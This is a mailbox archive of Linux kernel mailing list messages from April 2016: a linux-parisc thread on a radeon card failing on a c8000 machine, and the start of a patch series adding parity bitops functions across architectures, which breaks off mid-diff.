	for glpp-linux-parisc@plane.gmane.org; Thu, 14 Apr 2016 03:44:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751861AbcDNBoG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Apr 2016 21:44:06 -0400
Original-Received: from mail-wm0-f53.google.com ([74.125.82.53]:35695 "EHLO
	mail-wm0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751787AbcDNBoF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Apr 2016 21:44:05 -0400
Original-Received: by mail-wm0-f53.google.com with SMTP id a140so126780341wma.0
        for <linux-parisc@vger.kernel.org>; Wed, 13 Apr 2016 18:44:04 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=dGDRbD11k/awHAORlAXlqIl5y1ZNd5/4c2VC8obrLXI=;
        b=BhHzOHcDeR4p3Up0A6HeQ/XR7M5EWjOfHRonka9QQJxnaTqd01B1H93ghplsWJKFXG
         94OQm1GC/W3g73MWnoMfURlnD6vB9oFAcqxqipPkVph8wltABr2luKz1t0eNXHSUVs2h
         aNsicsqaOp3OVA94xM3uDyEhK2AHivZHd/1jCPAjopkLNhXAvjftg4Fe/OGnp/omEVns
         L0WFZ83cq9Skt6o0nqfci7ciCpRtQL6rN6KWq2MHBkOW0/UJiiUUVYTllBEXLmhnxaEw
         hNYtQqXXN8E2tnR6BLWRtQGNHE/dDtJfTGJvrZNO0MVmIv8oPewQrqhhAEDAoIS+JmPy
         mZkw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=dGDRbD11k/awHAORlAXlqIl5y1ZNd5/4c2VC8obrLXI=;
        b=UL0cxAlrLVDerAmOM4KPz+oWqPqKpXi0iBVrZM4SNIN+mm0UOBrZWl1PH4Df3j8i0y
         WG5T51tGdBtVqp4JedYF2C8gX5SxMT0NKQN9kY1NdzcHVEPuCi7IsOddKVAbYKUOqlw0
         EPhsFrqE8sbKXAksBnLv8BbgKU9Oi/B87yBYHTiYYTyStxz0mcfbFgXZTJs8B+/V+lSW
         D6j18ObA9GNvFVWnxx3Bskg+VgwY48whDsExdMogW6XNRkS+fUjN5Nphr8r3NH/OJRbi
         2keoytEvnbMOTs9nVSCcEKqrUYM8cblqh1IHF9WGiDpnURAkS3/rurXc8O3gsUMsgDeS
         ctFQ==
X-Gm-Message-State: AOPr4FV9sp0d28y2rLUMyz3uG99WfThYePYLL7KeJ2ldtvf4SKld+9eN8XPuRMd7i6VGMb49H+3ZjUTyUytwMA==
X-Received: by 10.194.143.8 with SMTP id sa8mr13867211wjb.64.1460598242652;
 Wed, 13 Apr 2016 18:44:02 -0700 (PDT)
Original-Received: by 10.28.183.86 with HTTP; Wed, 13 Apr 2016 18:44:02 -0700 (PDT)
In-Reply-To: <4E86DE96-4108-41F1-872C-F7E04075466A@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26625
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26625>

On 14 April 2016 at 09:59, John David Anglin <dave.anglin@bell.net> wrote:
> On 2016-04-13, at 8:18 PM, Graham Gower wrote:
>
>> On 14 April 2016 at 00:32, John David Anglin <dave.anglin@bell.net> wrote:
>>> On 2016-04-13 3:06 AM, Simone Mannori wrote:
>>>>>
>>>>> Maybe pulling FireGL X1 will help:
>>>>>
>>>>> https://lists.freedesktop.org/archives/dri-users/2015-February/000034.html
>>>>
>>>> Already done Dave: same error message during system boot. Just to be
>>>> clear, the error message is also indipendent by the PCI slot position.
>>>> Thanks for the hint, anyway.
>>>
>>> Just one further thought regarding FireGL X1.  The OLS article by Grant
>>> referenced in the above
>>> link indicated that a common problem in porting drivers to parisc was timing
>>> issues with I/O writes.
>>> This was fixed in a couple of drivers by doing a read after doing a write.
>>> Possibly, the radeon driver
>>> could be hacked to always read after write as a test.
>>
>> I've tried this. It doesn't change the failure mode.
>
> Do you know if c8000 can setup any non HP card (e.g., ATI Rage XL)?  It was reported that
> some old cards would work with PDC firmware in unaccelerated fb mode, but c8000 has
> x86 emulator so it might be able to enable accelerated 2d/3d.
>


I have not tested this. I vaguely recall getting the same "bridge
aperture too big" message once with a 128Mb radeon, but never obtained
older cards which might be compatible.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: zengzhaoxiu@163.com
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.kernel.cryptoapi,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.iio,gmane.linux.kernel.input,gmane.linux.ports.openrisc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.metag,gmane.linux.drivers.mtd,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.scsi,gmane.linux.serial,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.network,gmane.linux.ports.sparc
Subject: [PATCH V3 00/29] bitops: add parity functions
Date: Thu, 14 Apr 2016 10:36:41 +0800
Lines: 155
Approved: news@gmane.org
Message-ID: <1460601525-3822-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1460602134 5470 80.91.229.3 (14 Apr 2016 02:48:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Apr 2016 02:48:54 +0000 (UTC)
Cc: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>,
        adi-buildroot-devel@lists.sourceforge.net,
        Andrew Morton <akpm@linux-foundation.org>,
        Anton Blanchard <anton@samba.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Benjamin Tissoires <benjamin.tissoires@redhat.com>,
        Borislav Petkov <bp@suse.de>,
        Bruce Allan <bruce.w.allan@intel.com>,
        Christophe Leroy <christophe.leroy@c-s.fr>,
        David Herrmann <dh.herrmann@gmail.com>,
        "David S. Miller" <davem@davemloft.net>,
        Denys Vlasenko <dvlasenk@redhat.com>,
        Dmitry Torokhov <dmitry.torokhov@gmail.com>,
        Duson Lin <dusonlin@emc.com.tw>,
        Guenter Roeck <linux@roeck-us.net>,
        Hans de Goede <hdegoede@redhat.com>,
        Hans Verkuil <hans.verkuil@cisco.com>,
        Hartmut Knaack <knaack.h@gmx.de>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        H
To: linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Thu Apr 14 04:48:36 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aqXKd-0004uL-4J
	for sgi-linux-mips@gmane.org; Thu, 14 Apr 2016 04:48:35 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:37326 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27026095AbcDNCscobX2W (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 14 Apr 2016 04:48:32 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 14 Apr 2016 04:48:19 +0200 (CEST)
Original-Received: from m50-132.163.com ([123.125.50.132]:58180 "EHLO m50-132.163.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27006657AbcDNCsPvwgrW (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 14 Apr 2016 04:48:15 +0200
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=163.com;
        s=s110527; h=From:Subject:Date:Message-Id; bh=zmjvkGCK9cl9dxpbLY
        wgljnqLHp0pzoajC0e68EFGCs=; b=oe5JUfOPOoLQl4zdqO+es0U9esXLs8feX4
        pP2KLm5afc5Z2WZJKEZQqhH5TMPGIW8qOqtywjABynD9Runr3MeuC3r/mfhDFpP3
        uE5M8DUPpcxwZA8IBQJFKBS4hV62Cq0wU97hOVqU6d3wmhUUM7E8SvOQV/B7v8ae
        s3UbVewx8=
Original-Received: from zhaoxiuzeng-VirtualBox.spreadtrum.com (unknown [112.95.225.98])
        by smtp2 (Coremail) with SMTP id DNGowABHsP4hAw9XO5mJAw--.15034S2;
        Thu, 14 Apr 2016 10:40:45 +0800 (CST)
X-Mailer: git-send-email 2.5.0
X-CM-TRANSID: DNGowABHsP4hAw9XO5mJAw--.15034S2
X-Coremail-Antispam: 1Uf129KBjvJXoW3XrWDury7Zr4UWrWrCw1Utrb_yoWxXF18pF
        4DCrn5Cry8GryIyFsxtFn29F1ftayrKFWagrya934kA3Z7tryjyFsYkw47Aw1qyanrtr1I
        gFnxurWDW3WvvaUanT9S1TB71UUUUUUqnTZGkaVYY2UrUUUUjbIjqfuFe4nvWSU5nxnvy2
        9KBjDUYxBIdaVFxhVjvjDU0xZFpf9x07jdo7NUUUUU=
X-Originating-IP: [112.95.225.98]
X-CM-SenderInfo: p2hqw6xkdr5xrx6rljoofrz/1tbiJQ1LgFUL-E972AAAst
X-archive-position: 52977
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: zengzhaoxiu@163.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:54138 gmane.linux.kernel:2198344 gmane.linux.ports.alpha:3615 gmane.linux.kernel.cross-arch:31562 gmane.linux.ports.arm.kernel:492417 gmane.linux.kernel.cryptoapi:19355 gmane.linux.ports.hexagon:1001 gmane.linux.ports.ia64:26556 gmane.linux.kernel.iio:23140 gmane.linux.kernel.input:48967 gmane.linux.ports.openrisc:698 gmane.linux.drivers.video-input-infrastructure:101146 gmane.linux.kernel.metag:1051 gmane.linux.drivers.mtd:66557 gmane.linux.nfs:77044 gmane.linux.ports.parisc:26626 gmane.linux.ports.ppc64.devel:125887 gmane.linux.scsi:112929 gmane.linux.serial:22850 gmane.linux.ports.sh.devel:53765 gmane.linux.kernel.arc:897 gmane.linux.network:408023 gmane.linux.ports.sparc:22783
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/54138>

From: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>

When I do "grep parity -r linux", I found many parity calculations
distributed in many drivers.

This patch series does:
  1. provide generic and architecture-specific parity calculations
  2. remove drivers' local parity calculations, use bitops' parity
     functions instead
  3. replace "hweightN(x) & 1" with "parityN(x)" to improve readability,
     and improve performance on some CPUs that without popcount support

I did not use GCC's __builtin_parity* functions, based on the following reasons:
  1. I don't know where to identify which version of GCC from the beginning
     supported __builtin_parity for the architecture.
  2. For the architecture that doesn't has popcount instruction, GCC instead use
     "call __paritysi2" (__paritydi2 for 64-bits). So if use __builtin_parity, we must
     provide __paritysi2 and __paritydi2 functions for these architectures.
     Additionally, parity4,8,16 might be "__builtin_parity(x & mask)", but the "& mask"
     operation is totally unnecessary.
  3. For the architecture that has popcount instruction, we do the same things.
  4. For powerpc, sparc, and x86, we do runtime patching to use popcount instruction
     if the CPU support.

I have compiled successfully with x86_64_defconfig, i386_defconfig, pseries_defconfig
and sparc64_defconfig.

Changes to v2:
- Add constant PARITY_MAGIC (proposals by Sam Ravnborg)
- Add include/asm-generic/bitops/popc-parity.h (proposals by Chris Metcalf)
- Tile uses popc-parity.h directly
- Mips uses popc-parity.h if has usable __builtin_popcount
- Add few comments in powerpc's and sparc's parity.S
- X86, remove custom calling convention

Changes to v1:
- Add runtime patching for powerpc, sparc, and x86
- Avr32 use grenric parity too
- Fix error in ssfdc's patch, and add commit message
- Don't change the original code composition of drivers/iio/gyro/adxrs450.c
- Directly assignement to phy_cap.parity in drivers/scsi/isci/phy.c

Regards,

=== diffstat ===

Zhaoxiu Zeng (29):
  bitops: add parity functions
  Include generic parity.h in some architectures' bitops.h
  Add alpha-specific parity functions
  Add blackfin-specific parity functions
  Add ia64-specific parity functions
  Tile and MIPS (if has usable __builtin_popcount) use popcount parity
    functions
  Add powerpc-specific parity functions
  Add sparc-specific parity functions
  Add x86-specific parity functions
  sunrpc: use parity8
  mips: use parity functions in cerr-sb1.c
  bch: use parity32
  media: use parity8 in vivid-vbi-gen.c
  media: use parity functions in saa7115
  input: use parity32 in grip_mp
  input: use parity64 in sidewinder
  input: use parity16 in ams_delta_serio
  scsi: use parity32 in isci's phy
  mtd: use parity16 in ssfdc
  mtd: use parity functions in inftlcore
  crypto: use parity functions in qat_hal
  mtd: use parity16 in sm_ftl
  ethernet: use parity8 in sun/niu.c
  input: use parity8 in pcips2
  input: use parity8 in sa1111ps2
  iio: use parity32 in adxrs450
  serial: use parity32 in max3100
  input: use parity8 in elantech
  ethernet: use parity8 in broadcom/tg3.c

 arch/alpha/include/asm/bitops.h              |  27 +++++
 arch/arc/include/asm/bitops.h                |   1 +
 arch/arm/include/asm/bitops.h                |   1 +
 arch/arm64/include/asm/bitops.h              |   1 +
 arch/avr32/include/asm/bitops.h              |   1 +
 arch/blackfin/include/asm/bitops.h           |  31 ++++++
 arch/c6x/include/asm/bitops.h                |   1 +
 arch/cris/include/asm/bitops.h               |   1 +
 arch/frv/include/asm/bitops.h                |   1 +
 arch/h8300/include/asm/bitops.h              |   1 +
 arch/hexagon/include/asm/bitops.h            |   1 +
 arch/ia64/include/asm/bitops.h               |  31 ++++++
 arch/m32r/include/asm/bitops.h               |   1 +
 arch/m68k/include/asm/bitops.h               |   1 +
 arch/metag/include/asm/bitops.h              |   1 +
 arch/mips/include/asm/bitops.h               |   7 ++
 arch/mips/mm/cerr-sb1.c                      |  67 ++++---------
 arch/mn10300/include/asm/bitops.h            |   1 +
 arch/openrisc/include/asm/bitops.h           |   1 +
 arch/parisc/include/asm/bitops.h             |   1 +
 arch/powerpc/include/asm/bitops.h            |  11 +++
 arch/powerpc/lib/Makefile                    |   2 +-
 arch/powerpc/lib/parity_64.S                 | 142 +++++++++++++++++++++++++++
 arch/powerpc/lib/ppc_ksyms.c                 |   5 +
 arch/s390/include/asm/bitops.h               |   1 +
 arch/sh/include/asm/bitops.h                 |   1 +
 arch/sparc/include/asm/bitops_32.h           |   1 +
 arch/sparc/include/asm/bitops_64.h           |  18 ++++
 arch/sparc/kernel/sparc_ksyms_64.c           |   6 ++
 arch/sparc/lib/Makefile                      |   2 +-
 arch/sparc/lib/parity.S                      | 128 ++++++++++++++++++++++++
 arch/tile/include/asm/bitops.h               |   2 +
 arch/x86/include/asm/arch_hweight.h          |   5 +
 arch/x86/include/asm/arch_parity.h           | 117 ++++++++++++++++++++++
 arch/x86/include/asm/bitops.h                |   4 +-
 arch/xtensa/include/asm/bitops.h             |   1 +
 drivers/crypto/qat/qat_common/qat_hal.c      |  32 ++----
 drivers/iio/gyro/adxrs450.c                  |   4 +-
 drivers/input/joystick/grip_mp.c             |  16 +--
 drivers/input/joystick/sidewinder.c          |  24 +----
 drivers/input/mouse/elantech.c               |  10 +-
 drivers/input/mouse/elantech.h               |   1 -
 drivers/input/serio/ams_delta_serio.c        |   8 +-
 drivers/input/serio/pcips2.c                 |   2 +-
 drivers/input/serio/sa1111ps2.c              |   2 +-
 drivers/media/i2c/saa7115.c                  |  17 +---
 drivers/media/platform/vivid/vivid-vbi-gen.c |   9 +-
 drivers/mtd/inftlcore.c                      |  17 +---
 drivers/mtd/sm_ftl.c                         |   5 +-
 drivers/mtd/ssfdc.c                          |  31 ++----
 drivers/net/ethernet/broadcom/tg3.c          |   6 +-
 drivers/net/ethernet/sun/niu.c               |  10 +-
 drivers/scsi/isci/phy.c                      |  15 +--
 drivers/tty/serial/max3100.c                 |   2 +-
 include/asm-generic/bitops.h                 |   1 +
 include/asm-generic/bitops/arch_parity.h     |  39 ++++++++
 include/asm-generic/bitops/const_parity.h    |  36 +++++++
 include/asm-generic/bitops/parity.h          |   7 ++
 include/asm-generic/bitops/popc-parity.h     |  32 ++++++
 include/linux/bitops.h                       |  10 ++
 lib/bch.c                                    |  14 +--
 net/sunrpc/auth_gss/gss_krb5_keys.c          |   6 +-
 62 files changed, 745 insertions(+), 235 deletions(-)
 create mode 100644 arch/powerpc/lib/parity_64.S
 create mode 100644 arch/sparc/lib/parity.S
 create mode 100644 arch/x86/include/asm/arch_parity.h
 create mode 100644 include/asm-generic/bitops/arch_parity.h
 create mode 100644 include/asm-generic/bitops/const_parity.h
 create mode 100644 include/asm-generic/bitops/parity.h
 create mode 100644 include/asm-generic/bitops/popc-parity.h

-- 
2.5.0





From - Thu Nov 08 21:38:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: zengzhaoxiu@163.com
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.openrisc,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: [PATCH V3 02/29] Include generic parity.h in some architectures'
 bitops.h
Date: Thu, 14 Apr 2016 11:04:31 +0800
Lines: 242
Approved: news@gmane.org
Message-ID: <1460603098-4466-1-git-send-email-zengzhaoxiu@163.com>
References: <1460601525-3822-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1460603397 21740 80.91.229.3 (14 Apr 2016 03:09:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Apr 2016 03:09:57 +0000 (UTC)
Cc: Rich Felker <dalias@libc.org>, Aurelien Jacquiot <a-jacquiot@ti.com>,
 "Peter Zijlstra \(Intel\)" <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Will Deacon <will.deacon@arm.com>,
 David Howells <dhowells@redhat.com>, Max Filippov <jcmvbkbc@gmail.com>,
 Hendrik Brueckner <brueckner@linux.vnet.ibm.com>, linux@lists.openrisc.net,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, Jesper Nilsson <jesper.nilsson@axis.com>,
 linux-am33-list@redhat.com, Russell King <linux@arm.linux.org.uk>,
 linux-c6x-dev@linux-c6x.org, Yoshinori Sato <ysato@users.sourceforge.jp>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 linux-sh@vger.kernel.org, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 linux-snps-arc@lists.infradead.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Apr 14 05:09:43 2016
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1aqXf3-0006OO-0W
	for gla-linux-snps-arc@m.gmane.org; Thu, 14 Apr 2016 05:09:41 +0200
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1aqXf1-0005XB-Ky; Thu, 14 Apr 2016 03:09:39 +0000
Original-Received: from m50-135.163.com ([123.125.50.135])
 by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
 id 1aqXey-0005Rq-EY; Thu, 14 Apr 2016 03:09:38 +0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=163.com;
 s=s110527; h=From:Subject:Date:Message-Id; bh=5brpFEkLxt9yHqclC/
 r3T7u/DTpNexvyYUpPhiKr7c0=; b=A6847GYtGFOaAURxa+Iubuql7fGn0eYt5h
 luMcT4ECRCWRuKes2PIN6alZBIOFLAmchd0XODx2naduAbd0x5YJwaQllLDWvgZk
 bJXr7Ff2JgIWXjqmkQTBEZ0qQ/9KfsxU+v0PwevDTm+NtX8FxcN6QB7UBiHeS7Zb
 v9C8qxvq8=
Original-Received: from zhaoxiuzeng-VirtualBox.spreadtrum.com (unknown [112.95.225.98])
 by smtp5 (Coremail) with SMTP id D9GowAD3_ITkCA9XfBXcCQ--.24637S2;
 Thu, 14 Apr 2016 11:05:17 +0800 (CST)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <1460601525-3822-1-git-send-email-zengzhaoxiu@163.com>
X-CM-TRANSID: D9GowAD3_ITkCA9XfBXcCQ--.24637S2
X-Coremail-Antispam: 1Uf129KBjvJXoW3try8uw1kZw4xuF17Zr13urg_yoWDZF15pF
 1Dur1kArZ5G348XFWjkrnFkF47twsxGF43tFWY9a4qyF1xtw4jyFsY9F1DAw1kXa1qqryF
 grZrCry5Ja10qF7anT9S1TB71UUUUUUqnTZGkaVYY2UrUUUUjbIjqfuFe4nvWSU5nxnvy2
 9KBjDUYxBIdaVFxhVjvjDU0xZFpf9x07beOJ5UUUUU=
X-Originating-IP: [112.95.225.98]
X-CM-SenderInfo: p2hqw6xkdr5xrx6rljoofrz/xtbBDQ1LgFaDmYO8LgAAsW
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20160413_200937_087558_8BEBBA6C 
X-CRM114-Status: UNSURE (   8.13  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: -3.0 (---)
X-Spam-Report: SpamAssassin version 3.4.0 on bombadil.infradead.org summary:
 Content analysis details:   (-3.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_MSPIKE_H2      RBL: Average reputation (+2)
 [123.125.50.135 listed in wl.mailspike.net]
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (zengzhaoxiu[at]163.com)
 -1.0 RP_MATCHES_RCVD Envelope sender domain matches handover relay domain
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.20
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:898 gmane.linux.kernel:2198353 gmane.linux.ports.openrisc:699 gmane.linux.ports.hexagon:1002 gmane.linux.ports.sh.devel:53766 gmane.linux.kernel.metag:1052 gmane.linux.ports.arm.kernel:492418 gmane.linux.ports.parisc:26627
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/898>

From: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>

Signed-off-by: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>
---
 arch/arc/include/asm/bitops.h      | 1 +
 arch/arm/include/asm/bitops.h      | 1 +
 arch/arm64/include/asm/bitops.h    | 1 +
 arch/avr32/include/asm/bitops.h    | 1 +
 arch/c6x/include/asm/bitops.h      | 1 +
 arch/cris/include/asm/bitops.h     | 1 +
 arch/frv/include/asm/bitops.h      | 1 +
 arch/h8300/include/asm/bitops.h    | 1 +
 arch/hexagon/include/asm/bitops.h  | 1 +
 arch/m32r/include/asm/bitops.h     | 1 +
 arch/m68k/include/asm/bitops.h     | 1 +
 arch/metag/include/asm/bitops.h    | 1 +
 arch/mn10300/include/asm/bitops.h  | 1 +
 arch/openrisc/include/asm/bitops.h | 1 +
 arch/parisc/include/asm/bitops.h   | 1 +
 arch/s390/include/asm/bitops.h     | 1 +
 arch/sh/include/asm/bitops.h       | 1 +
 arch/xtensa/include/asm/bitops.h   | 1 +
 18 files changed, 18 insertions(+)

diff --git a/arch/arc/include/asm/bitops.h b/arch/arc/include/asm/bitops.h
index 0352fb8..7967e47 100644
--- a/arch/arc/include/asm/bitops.h
+++ b/arch/arc/include/asm/bitops.h
@@ -370,6 +370,7 @@ static inline __attribute__ ((const)) int __ffs(unsigned long x)
 #define ffz(x)	__ffs(~(x))
 
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/lock.h>
diff --git a/arch/arm/include/asm/bitops.h b/arch/arm/include/asm/bitops.h
index e943e6c..99f28a6 100644
--- a/arch/arm/include/asm/bitops.h
+++ b/arch/arm/include/asm/bitops.h
@@ -313,6 +313,7 @@ static inline unsigned long __ffs(unsigned long x)
 
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #ifdef __ARMEB__
diff --git a/arch/arm64/include/asm/bitops.h b/arch/arm64/include/asm/bitops.h
index 9c19594..eac4965 100644
--- a/arch/arm64/include/asm/bitops.h
+++ b/arch/arm64/include/asm/bitops.h
@@ -44,6 +44,7 @@ extern int test_and_change_bit(int nr, volatile unsigned long *p);
 
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #include <asm-generic/bitops/non-atomic.h>
diff --git a/arch/avr32/include/asm/bitops.h b/arch/avr32/include/asm/bitops.h
index 910d537..9f4a2ce 100644
--- a/arch/avr32/include/asm/bitops.h
+++ b/arch/avr32/include/asm/bitops.h
@@ -298,6 +298,7 @@ static inline int ffs(unsigned long word)
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 extern unsigned long find_next_zero_bit_le(const void *addr,
diff --git a/arch/c6x/include/asm/bitops.h b/arch/c6x/include/asm/bitops.h
index f0ab012..94eb0d1 100644
--- a/arch/c6x/include/asm/bitops.h
+++ b/arch/c6x/include/asm/bitops.h
@@ -87,6 +87,7 @@ static inline int ffs(int x)
 
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #include <asm-generic/bitops/atomic.h>
diff --git a/arch/cris/include/asm/bitops.h b/arch/cris/include/asm/bitops.h
index 8062cb5..06bc246 100644
--- a/arch/cris/include/asm/bitops.h
+++ b/arch/cris/include/asm/bitops.h
@@ -36,6 +36,7 @@
 #include <asm-generic/bitops/__fls.h>
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/lock.h>
 
diff --git a/arch/frv/include/asm/bitops.h b/arch/frv/include/asm/bitops.h
index 0df8e95..f2a7ee8 100644
--- a/arch/frv/include/asm/bitops.h
+++ b/arch/frv/include/asm/bitops.h
@@ -314,6 +314,7 @@ int __ilog2_u64(u64 n)
 
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
